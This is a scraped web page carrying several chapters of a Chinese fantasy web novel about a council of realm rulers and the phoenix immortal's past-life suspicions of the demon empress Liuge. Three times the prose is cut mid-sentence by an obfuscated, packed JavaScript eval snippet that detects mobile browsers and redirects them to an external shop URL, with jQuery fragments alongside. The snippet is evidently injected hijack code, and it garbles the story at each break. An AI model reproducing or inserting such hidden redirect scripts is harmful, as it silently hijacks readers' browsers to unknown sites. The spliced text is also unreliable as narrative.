常妄扫过议庭内,见人皇之位空缺,祝商序双臂环胸,姿态闲散的靠在神位后的柱子上,正闭目养神,常妄看向他,他似有所感,睁眼扫过郁柏一行人,淡淡点头。 仙尊身后的老者一身道袍,一挥拂尘,笑着迎了上来,拱手行礼道:“妖皇尊上,请随老道来。” “麻烦至公道人了。”常妄与他有几面之缘,算是熟悉,因此率先拱手谢过,又传音给郁柏几人介绍道:“这位便是至公道人,仙尊座下资历最老的神使,在仙尊身边充当军师一样的角色。” “呵呵,何来麻不麻烦,我还未恭贺龙尊大人,看来,四仙兽里要出第二位神使了……”他一抹拂尘,笑得乐呵,善意的打趣常妄到。 郁柏话极少,冷淡的目光扫过这方天地,随即目不斜视的前往自己的位置坐下了。 春在野几人便也收起闲谈之心,安静的站在郁柏之后。 冥界和妖界几乎是前后脚到达琼寰议庭,冥主兰因没有实体,没有性别,没有面目,甚至连来历都是一团迷雾。 世人只知祂是天地间诞生的第一位神族,具体怎么诞生的,则无从查起。 “兰因,好久不见。”仙尊梅若君开口,虽然他以黑纱覆面,语气却含着显而易见的温和笑意,显得和煦亲人。 兰因本体是一团模糊的人形雾气,颜色不可形容,大概在锁骨到后脑勺的位置,虚虚环绕着一圈幽绿色的雾气飘带,是冥界鬼火所化,“眼睛”处则缠绕着一条纯白色的凝实匹练,些许幽绿色鬼火缭绕其上。 据传,这是冥主兰因引渡亡魂,却见众生皆苦,于心不忍,于是化白带自缚双目,以免心生同情,坏了阴界不许插手阳界事务的天道规则。 祂身后,孟婆拢袖垂首,安静跟在神主之后,出乎意料的是,身为四仙兽之一的白泽,居然也跟着冥主参与了这次琼寰大会,他淡淡的冲祝商序和常妄一拱手。 白泽通晓天下事,他似乎也一点不意外在这里看见常妄,龙尊撇撇嘴,在心底腹诽道:老古板,没意思。 冥主闻言停下脚步,略向仙尊所在之处侧目,语气冷漠:“仙尊与其关心我,还不如想想,接下来怎么回答冥界诘问。” “噗。”祝商序毫不客气大笑出声,郁柏身后,常妄一瞬间露出羡慕的目光,随即目光蜻蜓点水一般落在身前安静的郁柏妖皇身上,又被他飞快的收回。 就在这不轻不重的交锋之间,魔尊黎狩也到了,身后跟着三个完全陌生的新面孔。 仙尊被兰因刺了一下,什么也没说,只是宽和的笑笑,见人以到齐了,便示意在座各位可以畅所欲言。 祝商序毫不客气,率先发难,他猛兽一般的一双竖瞳凝在魔尊黎狩身上,黎狩抬起血红而无眼白的眼,和他直直对视。 “人皇失去幼妹,伤心过度,这届琼寰会议就不参加了。” “对了,铭榕还让我带句话给魔尊,”他站直了身子,将千斤重的亢龙锏轻飘飘的抛起,又接住,笑着,笑意却不达眼底,“人皇说:黎狩,此仇不报,我非神也。” “魔界就等着……改天换日吧。” 冥主赞赏的冲祝商序一颔首,又冲仙尊冷冷补刀:“我想,魔尊该解释向妖界动手的原因,还有……我不信问情妖皇没有向仙界求助,仙尊,你也该解释,为何对魔界的侵略之举袖手旁观。” “嗤,侵略妖界?”魔尊大喇喇往后一靠,故意冲郁柏的方向大笑道:“明明是问情敞开大门,迎我进去的!” “而且……妖界,一块无主的肥肉,谁不想撕下一口?只是我魔界蛮夷也,率先下口罢了!” 他那毫无眼白的血瞳环视在场众人,“你们谁敢向天道发誓,说自己对妖界没有一点想法,呵呵,什么兄妹情深,若是有将妖界收回人界的机会,我看人皇就会第一个动手!” “啪嗒,啪嗒——” 几声粘稠的水滴声突兀响起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310236|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,郁柏回首,就见春在野几乎咬碎了下唇,下巴上满是血痕,惊轶和常妄一人一边死死按着他,才阻止了他在琼寰议庭直接对魔尊动手! “妖魔交好……因为你骗她,你骗她妖魔交好!”春在野嘶吼着,声音尖而颤,几乎啼血。 春在野原型是黑腹红翅雀,被人族誉为“悬崖上歌唱的黑蝴蝶”,善歌善舞,就是不擅打架,他修为又低,此时挣不开惊轶和常妄,只好徒劳用一双眼死死瞪着黎狩,目眦欲裂,说不出是恨是悲。 “她救你一命,你却杀了她!!” 春在野眼里满是红血丝,滔天的恨意吐不出,咽不下,只能化为血泪流淌满脸,“问情……问情尊上在黄泉边捡到你,帮你逃过魔界追兵,还全须全尾送你回到魔界,和你约定妖魔交好——你就这么回报她么!” “魔族的话她也信?”黎狩丝毫不以为耻,魔气化刃,抬手便冲春在野挥出:“那只能怪人皇将她教的太蠢了。” 一直安静的郁柏终于抬头,漆黑的狐族长尾在身后冒出,啪的将魔刃拍成齑粉,消散空中。 “……既然问情妖祖未能杀你,那你便由我来杀。”他语气平平,态度甚至有些漠然,但随着他一句话落下,竟有代表天道见证的阵法,在其脚下骤然浮现! 郁柏竟是以妖皇真身起誓要杀黎狩!若做不到,天道责罚真的会让他身死道消! 春在野一时间也愣住了,他嘴唇蠕动片刻,霎时无数热泪涌出,嘶哑着嗓子,低低的含糊叫了一句:“妖皇尊上……” “好了,此事暂时打住。”仙尊不得不出面,带头转换了话题,“今日召集各位前来,是因为仙界也有要事要宣布——” 他一双麦穗般金黄的眼温和的向后望去,笑着招手,示意身后少女到他的身侧来。 “茶晚山,我的徒弟,也是未来的仙尊神使之一。”他温声给在场众人介绍到,众神望向梅若君身侧,只见那少女年纪尚幼,不到双十年华,气质却极其严肃,沉默着行礼,礼数完美而无可挑剔,像精密计算过一样。 一身浅绿长袍规整服帖,几乎没有一个褶皱,白粉长发挽成山茶样式,束在脑后,手上则是一副紧贴皮肤的皮质薄黑手套。 “……什么叫未来的仙尊神使?”兰因嗓音有些发涩,“原仙尊三神使,为何只有至公道人还在这里?茶清叙和南宫悯呢?” “啊,兰因大人有所不知,前段时间那场仙魔混战烈度失控,茶清叙大人于此战中失踪,下落不明,与她一起失踪的,还有原魔尊神使,风满怀。” “虽然很不愿承认,但茶清叙大人,应该是和风满怀神使双双战死沙场……”至公道人目露哀伤,垂首悲叹,“南宫悯大人不愿相信,还在战场上,苦苦寻找茶清叙大人的踪迹。” “魔界这边,倒是可以确定风满怀已经死了,他魂灯已灭。”魔尊补充了一句,像是在说一个无关紧要的消息,说完就结束,不再提起。 “一场战争,导致了两位神使死亡……这已经是位面之战的烈度了,”祝商序紧蹙眉头,“为何仙尊魔尊没有一人召开琼寰会议,通报五界?” 24. 前世阴影 仙庭内明明没有烛火等光源,却处处灯火通明,凤凰眯了眯眼,只觉得整个仙庭仿若融化在白光里,模糊而刺眼。 适应了片刻,他才在仙侍的带领下前往仙庭中央,仙尊所在之处。 “凤凰,你来了。”听到仙侍的通报,仙尊闻声回头,眼角细纹都漫着和煦的笑意,温声问道:“关于常妄的死因,你调查的如何了?” “这……我没有找到任何有用的线索。”他深深皱眉,“琉歌妖皇似乎也对常妄的死心怀疑虑,这段时间,我们联手在查这件案子。” “你知道其余几界都是怎么形容这位新任妖皇的吗?”梅若君忽然沉沉叹息一声,侧身望向墙上仙魔交界处的地图,凤凰一时无话,从他这个角度,只能看到仙君眼角眉梢化不去的疲累。 “……暴君。”他沉默半响,还是低声答道。 上一世,琼寰会议凤凰并未参与,他对这些神族的权力交锋没有任何兴趣。 上一世,他和琉歌的初见,是在常妄的葬礼上。 那时,琉歌已经是毫无疑问的第二任妖皇,她连杀三长老,以铁血手段排除异己,将整个妖界以极快的速度握于掌心,也因此流传出了暴君之名。 就连凤凰这种闭目塞听一心修炼的仙君,都隐隐约约听了一耳朵新任妖皇的残暴,无数人狂热的传播着她的事迹,像亲历者一般讲得绘声绘色—— 如何用计连杀三神使肃清神庭遗老,如何逼迫青丘内的世家大族献出身家以充国库,如何一把火烧过宣誓只效忠问情的赤琉璃,将赤琉璃锻成和她心意的新刀。 这些凤凰都不关心,他只知道,这位妖皇带着常妄参加了前不久的琼寰会议,回到妖界后不久,就传出了常妄的死讯。 他第一反应是找祝商序,却听说祝商序身为人皇神使,选择化为原形盘旋在苍梧山上,陪人皇禁足三万年。 他又传音冥界的白泽,不知为何久久没有等到回音。 于是他结束闭关,秉明仙尊,十万年来第一次离开仙界,进入妖界探查真相。 常妄葬礼上,他和琉歌初见。 琉歌执掌妖界,妖界天地灵气任她调配,在充足的能量之下早早脱离了幼年状态,已经是及笄年华,银发束在和她眼瞳同色的紫玉冠中,一双清凌凌的眼饱含警惕和审视。 听闻他是来调查常妄死因的,也没给他什么好脸色,青丘那时已经是草长莺飞二月天,春暖花开。 那些被世人口口相传的血和火早就化在了春风里,但她的眉宇间,却始终拢着凛冽的愁绪,像是她身后永远被极寒的冬追着。 经过观察,琉歌发现凤凰真的就是来查常妄死因的,因此坦白说,自己其实也觉得常妄的死因疑点重重,于是两人联手查了一段时间案子。 只是琉歌身为妖皇,总是很忙的,因此查案之余,凤凰也听了一嘴刻薄的吐槽,这位年幼的妖皇嘴上淬了毒一样,说起政庭和神庭里的蠢货不仅听不懂人话,还怎么教都教不会时,总显得暴躁而愤怒。 他于是安慰她,“你身为妖皇,寿与天齐,慢慢培养慢慢找,总能找到一批和心意的属下的。” 琉歌一瞬间表情极为茫然,她从诞生到掌权,总共才花费了半年人生——像是被按下加速键的人生,又像是精密的零件,自她有意识起就在滚滚向前的马车上,只能尽职尽责。 弥随音突然觉得执掌妖界的妖皇也有些可怜之处,于是邀请道:“等这件案子查清了,五界局势稳定了,你可以来我仙界的居所看看,仙界和妖界风景迥异,权当换换心情。” 她却说:“五界看上去都被动乱波及,其实只有妖界一直在付出各种代价,就像是……为妖界量身定做的一个局。” 凤凰是被仙尊一道急诏召回仙界的,银发妖皇手腕瘦削,捻着一缕柳枝为他送行。 临别前,她终于补全了上次未说完的话,“若我猜想成真,”她蹙着眉,“那我可能没法在这次危机中保住妖界——但这件事谁也不能说,妖族百姓是很脆弱的,他们需要精神支柱,若是说了,妖界就真的完蛋了。” “——天上交锋暗流涌动,地下权力尽归一人。”仙庭内,仙尊声音沉沉,那股和煦尽数褪去,犹如拂去细雪的高山雪顶,露出底下嶙峋坚硬的威严来。 “凤凰,你查不到任何线索,正是因为——杀常妄者,就是琉歌!” 晴天霹雳! 弥随音下意识反驳道:“这不可能!常妄与我同属四仙兽,实力强大,又一心想要权力,想身居高位,琉歌需要他的强大,常妄需要妖皇神使之位来证明自己的地位——他们没有反目成仇的理由!” “凤凰,冷静下来,我知道你下凡一趟,和琉歌生出了情谊……但,我手里有无可辩驳的证据。”仙尊示意凤凰看向他身后,凤凰心脏跳的剧烈,他惶惶又茫然的抬头,看到了仙尊背后的龙族小辈。 弥随音在妖界是见过他们,知晓他们是龙岛里烛龙系和螭龙系的代表,烛龙眼眶通红,声音哽咽,身体仍在细微的发抖,他手上还紧握着一枚玉牌和一枚有留影功能的猫眼石——“照影”。 猫眼石经过特殊处理后,一枚这样的猫眼石就可以留下一张“照影”——取自“惊鸿照影”之意,可以将当时所见之物的影像留住,只要猫眼石不碎,照影就千年万年不朽。 烛龙一言未发,只是将猫眼石和玉牌塞进了弥随音掌中,理智让凤凰仙君怎么也不愿意相信琉歌是凶手,但他低头看去…… ——照影中,琉歌持剑割下了常妄的喉咙,血染龙岛。 猫眼石上甚至还有干涸的血迹,凤凰下意识用灵气一探查,发现确实是常妄的血。 玉牌里则模糊的记录了琉歌的声音:龙族以龙尊常妄为首,勾连外族,拥兵自重,不服神庭,藐视妖皇——赤琉璃,随我出兵,踏平第一洲。 “天上交锋暗流涌动,地下权力尽归一人——这绝不是一件好事啊!”仙尊沉沉叹息一声,再次将这句话重复了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310237|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍,背过身去,让凤凰自己消化巨大的信息。 弥随音怔然半响,无所适从的握紧猫眼石和玉牌,不知在想什么,好一会,他才找回了自己的声音:“恳请仙尊,让我再回妖界一趟……我还是不相信,不相信琉歌会这么做。” 在弥随音看不到的地方,梅若君面色陡然沉了下去,一双金黄的眼瞳不知何时早已浸满了杀意。 他不动声色的冲螭龙打了个手势,随即回身,目光如炬直视犹疑不定的弥随音。 “凤凰,妖界出了个暴虐而征伐无道的神主,我们必须尽快赶紧解决和魔族的战争,全力防范妖界!” “您在说什么?就算琉歌有能力杀常妄,妖界也绝没有能力和仙界硬碰硬。”凤凰更是大惑不解,“琉歌怎么可能对仙界有什么威胁?她只想保全妖界,不可能愚蠢到对仙族出手,挑起仙妖战争的!” 神兽生来自由,凤凰有跨越阴阳的能力,白泽生来全知,烛九阴能操控时间,龙尊常妄则可以影响气运,他们和天道的联系仅次于神族,甚至和神族一样,有部分天道赐下的权柄,因此被称为半神。 弥随音可不会对仙尊言听计从。 “就连全盛时期的人皇和人界,也只是将仙魔赶出人界,从未有过出兵仙魔两界的事情发生——为何要防范妖界,仙尊究竟何出此言?” 梅若君脸上再无笑意,弥随音有些难受的微微闭了闭眼,觉得充斥着仙庭的白光刺眼到让人难以忍受了,因此错过了仙尊一双微微亮起的金瞳。 “对,单一个妖界是没有能力对仙界怎么样……那若是,妖魔联手呢?” 下一秒,仙尊的话犹如五雷轰顶,让他骤然僵立在原地! “可是……可是魔族杀问情,血海深仇,妖族不会……” “问情已经死了。”梅若君叹息一声,“她是伟大的开拓之君,是天生的将星,但她对于纵横和权力的理解实在太差。” “人皇将她养得太天真了。” “凤凰,你当真觉得,手刃三神使眼也不眨一下,血染青丘,清空神庭,排除异己的妖皇,会是在乎百姓的神主吗?” “不是这样,不是这样,琉歌她……”凤凰还想再说什么,目光忽然在炫目的白光里摇晃了一瞬,他反驳的话还未出口,忽然觉得心里一阵迷茫。 “若她真是聆听百姓祈愿的神主,为何清空代表百姓的神庭和政庭,全部换上自己人,为何以铁血手段严惩不服自己的人,要将妖界一切异议和反对的声音强压下去?”仙尊的话犹如吐着信子的毒蛇,神不知鬼不觉间缠上弥随音的识海—— 弥随音蹙眉,白光太过刺眼了,整个仙庭都白茫茫一片,像化开了一样朦胧,虚焦。 脑子中关于琉歌的印象突然跟着白光扭曲了一瞬,那双冷静的,警惕的望向他的眼睛,忽然变成了充斥着权欲和杀欲的一双眼,火光冲天,青丘染血。 ……是的,她是暴戾的君主,她爱权擅权,她……只知征服。 25. 师尊,你要走吗? 时间回到五天前,常妄尚在第四洲帮助琉歌排涝之时。 “妖皇尊上……”风弄堂还想再为伥鬼派说些好话,却被琉歌一抬手止住了声音。 “把镜明湖的详细位置告诉我,然后你先下去吧,第四洲突然爆发这样诡异的疫病,接下来有你忙的。”她深知打一棒给个甜枣的道理,毕竟她想知道的已经全部知晓了,自然不介意安抚虎族族长几句。 “我知道,伥鬼派虽然对妖族动过手,但杀的都是该杀之人。”琉歌温声细语的笑笑,示意风领主别紧张,“就算伥鬼派不杀,几年后妖初律落地,神庭也是要杀这一批出头鸟以儆效尤的。” “难道在你心里,妖皇和神庭对错不分,迂腐到只知迁怒吗?” 盛夏的风卷着潮湿的水汽吹上太华山,穿堂而过,吹得风弄堂刚放下来的心凉飕飕的。 伥鬼派行事诡谲莫测,他则顾忌虎族名誉,生怕妖族把第一个同类相残的帽子扣在了虎族头上,因此里里外外做过不少工作——就算如此,还是逃不过神庭和妖皇的眼睛啊。 “虎族不敢妄议妖皇和神庭。” 风领主再次行礼后,这才擦擦冷汗,起身,将一份详细的镜明湖地图双手奉上,地图上还标明了镜明湖何时阴气剧烈波动,何时大开之类的细节。 弥随音看着琉歌三言两语间便令风弄堂交代了个彻彻底底,忽然没忍住,走了个神—— 上一世,仙尊其实并不清楚两人的关系好到了何种程度。 他……差点就留在妖界,给琉歌当第一神使了。 联手查案后期,琉歌甚至允许弥随音,允许他一位仙族在朝堂上暗中旁听妖族政事,两人一明一暗合力之下,竟真的让他们以手里贫瘠的线索查到了些蛛丝马迹。 弥随音记得,那些细节绕了一圈,最后又转了回去,重新指向了龙岛——琉歌大胆推测,可能是龙族小辈勾连魔界,杀害了龙尊。 勾连魔界,背叛妖皇,残害亲长。 哪一条都是重罪,按妖初律,当满门抄斩,同时断绝师脉和血脉双传承。 即使失去了龙尊常妄,那时的龙族也是当之无愧的水系第一强族,群龙聚集的第一洲,更是实力地位仅次于妖都青丘的超级大洲。 琉歌一时间也不敢妄下定论——她已经杀了鲛人族长喻未央,将水系第二大族鲛人族逼得和自己离心,避世隐居,潜入深海。 若在此时再对龙族下手……以后她该如何让水系彻底信服她? 只是还没等弥随音和琉歌理出个头绪,凤凰就被急诏召回了仙界,随后,他听说,有龙族在神庭口出妄言,讽历代妖皇都不过陆族翼族之主,对水族并无贡献——水族该自治。 妖皇暴怒,带领赤琉璃,欲即刻踏平龙岛! 龙族小辈立刻向仙尊求助,仙尊认为妖皇残暴而龙族小辈乃神兽之后,因此力排众议,打开通天门,将龙族小辈全数接入仙界! 刚刚,看着琉歌恩威并施,熟练的施压风弄堂,他不可避免的幻视上辈子的琉歌妖皇。 ——那个对百姓之苦视而不见,以百姓血肉,去填自己的征服欲和野心的暴君。 “师尊?”见弥随音一直在发呆,琉歌轻轻敲了敲桌面。 “师尊脸色不太好,是不是怨气又反噬了?”外表已经是及笄年华的银发妖皇深深蹙眉,这些天凤凰跟着她又是治水又是炼丹的,还要看护幼崽,补全阵法……可能是一时忽略了要压制怨气? 琉歌上辈子背着这些怨气五六十年,时时剧痛,时时压制,没人比她更清楚,这庞大的怨气附身后有多么难缠了。 “师尊,让我看看。”她向前一探身,两指刚搭上弥随音的脉搏,凤凰仙君如梦初醒,突然触电般往后退了一大步! ……空气骤然凝滞。 琉歌手悬于空中,她神色不明的望向弥随音,半响才缓缓收回手,温声道歉道:“吓到师尊了,师尊刚刚在想什么?是虎族还是怨气?” 弥随音哑口无言,他总不能说在想上一世。 “无妨……是我一时魔怔了,你说什么?”凤凰仙君勉强收拾心情,强行将上一世抛之脑后,跟琉歌商讨接下来的计划。 “我们来第四洲,就是为了得到镜明湖的位置,再通过镜明湖进入黄泉,上仙界求仙尊帮忙消除怨气。” 琉歌三言两语总结了一下,随即笑眯眯的问道:“师尊,镜明湖位置已经明了,我们接下来是立刻去仙界找仙尊,还是继续去查那古怪的疫病?” 只看她的笑脸,完全就是乖巧的小徒弟再等着师尊拿主意。 找仙尊——回到仙界。 查疫病——留在妖界。 若是惊轶或者白水边在这里,想必已经跪下了。 这是一道简单的送分题,也是送命题。 琉歌在心底思忖着弥随音的答案——师尊,究竟哪一界在你心中的地位更重?在即将到来的混战乱世,你身为四仙兽,混沌神兽,触碰生死权柄的半神……究竟选仙界还是妖界? 她思来想去,还是觉得凤凰仙君会选择仙尊。 毕竟,上一世,在琉歌基本明确了弥随音的心意,已经抛出妖皇第一神使之位为橄榄枝的情况下,他仍然能因为仙尊一道急诏立刻回仙界。 下次再见面,竟然就是玉牡丹帝宫,凤凰劝降妖皇了。 梅若君究竟有什么好?在位那么久只知道打架,打架还打不赢,呵。 琉歌实在不懂。 在她眼里,梅若君时代,魔族正值最低谷。 初代魔尊刑微雨式微,魔界大乱,后来黎狩吞噬吞刑微雨,更是让魔界先皇派和新皇派骤然割裂,内战不止—— 这种情况下,梅若君几次出兵魔界,竟然只能和魔族打个平手? 多么典型的能力不足,只会做做表面功夫。 琉歌冷冷的在心底评价到,后来知晓他竟然暗中联合魔族要侵吞妖界之后,她对他的评价更是一落千丈,直接是最底层无才无德那一挂了。 她前世今生都想不通为何凤凰要选仙尊,最后只能归功于凤凰在仙界闭关十万年,对仙界感情深厚到愿意闭着眼睛愚忠梅若君。 但不管琉歌想了多少,她都不会想到,玩政治,神兽有自己的赛道。 弥随音完全没有听出试探之意。 他只觉得心里凉的透透的——琉歌的第一想法,居然是抛弃自己身处水深火热中的百姓,先上仙界见仙尊? 上一世,有梅若君在一旁时时洗脑,弥随音对琉歌的第一印象就是暴君,还是那种根本不管百姓意见如何,用百姓的性命满足她的征服欲和野心的绝世暴君。 弥随音没有意识到,无论前世今生,他都在透过两个小孔认识琉歌。 一个小孔叫妖皇,一个叫暴君。 管中窥豹,难见全貌。 “……琉歌,你觉得常妄如何?”静默了好半响,弥随音忽然答非所问的提了个问题。 琉歌便顺着他的问题,坦白答道:“常妄实力足够,又和惊轶一样渴望权力,若他要当神使,我会用他。” 而且神兽实力太强,导致他们不用算计别人,一力破万法之下,也很难有人算计他们,因此大多较为单纯——好忽悠。 最后这句琉歌隐去了,咽回了肚子里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310238|198802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 和上一世一模一样的回答。 弥随音脊背发寒,他第一次忍不住怀疑自己,扪心自问他对琉歌的教导究竟有没有作用,如果他带出来的妖皇,仍会走上上一世暴君的老路,他该怎么办? “其实你根本没有怀疑虎族通敌,对不对?”弥随音忍不住劝道:“那为何要上来就给风弄堂扣个莫须有的罪名吓唬他呢?你明明好好跟他要镜明湖的地图,他也会给你的啊。” “琉歌,妖皇也是百姓的一部分,只有像仙尊那样善待手下子民,才是长久为君之道。” 弥随音这还是想走的意思了? 琉歌不免暴躁,到底为何?仙尊有什么好效忠的?他有什么贡献让你这么向往? 十万年闭关就能对仙界产生这么强的感情吗? “长久?”琉歌冷笑,“你看仙界稳定,我却看仙界宛如一潭死水,早已生机全无,所有仙族都在抢那一点点利益,壮大自身世家。” “起码仙尊施政之前会过问百家意见,不会一意孤行推行自己的意志!”弥随音心中的不安彻底被点燃,也来了火气。 上一世,那一双清凌凌的眼始终缭绕在他心尖,弥随音始终拒不相信梅若君之言——妖魔绝不可能联合。 他是有自己的判断的,在妖界这么久,他深深感觉琉歌是行事风格比较武断和独裁,但绝不是忽视百姓,只知满足自己私欲的君主。 但……妖族真的参战了,看到和魔尊并肩而立,站在妖界屏障外的琉歌的那一刻,凤凰一瞬间难以形容自己的心情——琉歌,琉歌……他想,快回头!别走向和仙尊对立,和我对立的这一步! 回头,回头!你难道不曾听到屏障后,万千百姓的哭喊吗! “我乃妖皇,吐出的话是神谕,落下的笔是神诏——若我能保证我永远正确,为何不能以最快的速度推行自己的意志!?紧跟在我的身后,就是妖界强大起来的最快的方法!” 琉歌一双眼彻底冷了下来。 她前世今生都不是允许别人忤逆的性子,今生难得在弥随音面前露点笑脸,真把他纵的不知天高地厚! “师尊,”这种时候,她居然还叫着他师尊,其中的讥讽不言而明,“神族是百姓意志的集合,若妖界需要一和平宽厚的妖皇,我就不会诞生了。” 琉歌笑笑,含讥带讽的刺道:“我的诞生,还有我的性格,这些东西既不是我决定的,也不是你决定的。” “不能长久又如何?纵此生不过百年,我轩辕琉歌也要天下知晓,妖族是凶恶的群狼,而非群狼口中被撕扯,被争抢的肥肉!” “琉歌!”弥随音面色陡然惨白,向来对她连重话都说的很克制的凤凰仙君,突然陡然色变,厉声呵斥道:“你是妖皇!会与天地齐寿,不要……再不要说这种话……” 短寿而亡。 弥随音光是想起上一世,就觉得心如刀绞。 他在妖界的那段时间和琉歌交流甚密,虽然觉得琉歌行事作风略有瑕疵,也不妨碍凤凰欣赏她的冷静和果敢——就算是残暴的君主,也是他选定的君主。 她的结局绝不应该是被仙魔围攻,早早夭折,百岁而亡! 上一世,他对琉歌之心……并不纯粹。 琉歌当然知晓弥随音的心意。 因为第一任妖后亦清,是先给问情当了第一神使,再当妖后的,因此妖界私下里,会戏称妖皇的第一神使为皇后神使。 常妄虽然早早宣誓效忠琉歌,但不知为何,琉歌却只给了他第二神使之位。 可最后折柳送别时,琉歌委婉的问过,若下次再见,可愿意来妖界,当她的第一神使? 26. 我心不尘,与尔同明 日落月生,遮蔽在第四洲上空的积雨云被龙族清理一空,今夜是第四洲入夏以来,难得的抬头可见漫天繁星的好天气。 只是太华山上众人心情都不太美妙。 被琉歌轻轻放过的风弄堂,踏着夜色疾步走向太华山上临时的议事堂。 “吱呀——”木门推开,大厅内灯火通明,第四洲领主们三三两两聚在一起,风弄堂一眼扫过,藏家姐弟和常妄在摆弄面前的精神力模型,危天梭在场时危秋是不怎么发言的,只安静站在她身后,夫妻俩面前是长老风乱旗。 这次疫病爆发突然,危天梭自己的孩子也在隔离中,还是症状最严重的那一批幼崽。身为母亲,她性子再冷静,此时也难掩焦急之色,频频望向医馆的方向。 风乱旗对于安抚病人家属相当有经验,语气笃定的安慰道:“不必担心,当年在人界,人族数次想用疫病使妖族内部崩溃,都被我们挺过来了,第四洲又多水患,处理疫病的经验最丰富。” “就算危领主不信老臣,也要信任妖皇尊上和随心大人啊。” 危天梭丝毫没有感觉被安慰到,目光更是忧虑,危秋于是在背后轻轻揽住了她的肩膀,“没事的,天梭,妖皇尊上的能力很强,有她坐镇,我们的孩子不会有事的。” 风弄堂一进来就吸引了所有人的目光。 “风领主,”藏纵夏年纪最小,率先给他行了个礼,抬头望向他时目露犹豫之色,斟酌着问道:“你觉得琉歌妖皇……是妖皇吗?若她是妖皇,那青丘帝宫的郁柏尊上是……?” “郁柏尊上当着所有领主的面,放出了真身和神座,在圣坛验明正身……我觉得他不是假妖皇……” 风弄堂深吸一口气,将一切纷乱的思绪压下,沉吟半响,还是坦白了自己的推论:“现在能确定的是,琉歌尊上肯定是神女——就是青丘通缉的,叛逃神庭的那个神女。” “她今日召我单独谈话时,明确告诉我了,随心大人是九品炼药师。” “九品!?”众领主顿时倒吸一口凉气,炼药不仅看天赋,也是很考验修为的一件事,若是修为不够,且不说能不能打过护药灵兽得到灵草,就算有路子得到,修为太低,也炼化不了高阶灵草的。 修为只会比炼药等级更高,基本不可能有修为低于炼药师等级的情况。 也就是说……在场众人谁也没有开口,却全都明白了——随心大人的修为绝对比渡劫期还高——而比渡劫期更强的人……也就只有飞升成仙的仙族了。 随心大人是仙族。 这和青丘帝宫颁布的通缉令又对上了。 “当年打人族时,我感受过问情尊上权柄的力量,和前些时候琉歌尊上放出的力量完全相同。” 风领主视线扫过众人,语气笃定,“妖皇权柄做不得假,琉歌尊上肯定是妖皇,而且,她来到第四洲的这些日子,救人,治水,防疫——没有做一件对我们不好的事情。” 他身为绣骨政庭领袖,干脆代表众领主拍板道:“我想,既然神子和神女同时诞生自圣坛,力量同源,血脉相依,神子既然可以成为妖皇,神女又为何不可呢?” “在青丘神庭无所作为的情况下,若不是琉歌尊上及时来到第四洲,这次水患对我的影响,不可估量。”风弄堂神情肃然,“就算你们心有怀疑,也可以私下与我细说,不要擅自冲动行事,这次疫病突发,我们还要借助随心大人的力量,他是九品炼药师,能将幼崽伤亡降到最低。” 众人知晓他说的是对的,于是纷纷点头应下。 议事堂内众领主达成共识,医馆内,分歧却越来越难以消弭。 琉歌微微有些怔愣,她不懂弥随音因何而痛苦——身为仙界的一员,她上一世百岁而亡若是细究起来,也有弥随音的一份“功劳”。 若他是妖皇神使,在妖界,有妖皇赐福之下,弥随音和神族绝对有一战之力。 他们上一世若能联手,说不定真的能敌过仙尊魔尊,就算做不到击败,击退也是可以的。 可他呢?他回到仙界后直接音信全无! 最后还挑衅一般跑到她面前来劝降……仙,魔,人,谁曾给过妖界一条生路! 她下意识抚上锁骨下方的心口处,感受到自己的心脏尚在撞击着胸膛,这才深吸了一口气,又静默而绵长的吐出—— 来不及了,无论是前世还是今生……她的血依然滚烫的鼓动着,但脉搏却已经冰凉。 “你要回仙界的话,师尊,我送你。”月色下,琉歌忽然苦笑一声,适时地露出了一点小意温柔的不舍姿态。 淡极生艳。 弥随音脑子突然一抽,冒出了这个词。 因为气质太冷,眉眼太冷,琉歌前世整个人给人的感觉就是一块冰,或者一阵凛冽的寒风,当她经过你,除了浸透骨髓的冷意,什么也不会留下。 因此,她的一颦一笑都给人以独特的震撼感,像是冰雪生情,月落凡间,因为太淡了,因此一点点情绪波动都是明显的,惊人的姝丽。 今生她笑容倒是多了一些,弥随音推测,应该是因为没有再如同前世那样,一无所知的,早早被神庭推上妖皇之位。 他倒是丝毫没有察觉,琉歌除了对他笑笑,对别人依然没什么好脸色。 “既然你这般不愿意留在妖界的话……”琉歌叹息,颇为惋惜的目光在弥随音眉眼间逡巡而过,贪婪的,不舍的用目光描摹着弥随音的面容,苦涩道:“我送您回仙界。” 还是走到了这一步。 银发妖皇想,等了这么久,做了这么多尝试,他既然还是不愿意选择妖界……那也别怪我无情了,师尊。 他们三垣盟誓的回溯时间的计划,前世仙尊必然是有所察觉的——现在附着在弥随音身上的怨气就是证明。 若他一无所知,怨气又怎会跟着琉歌回到百年前? 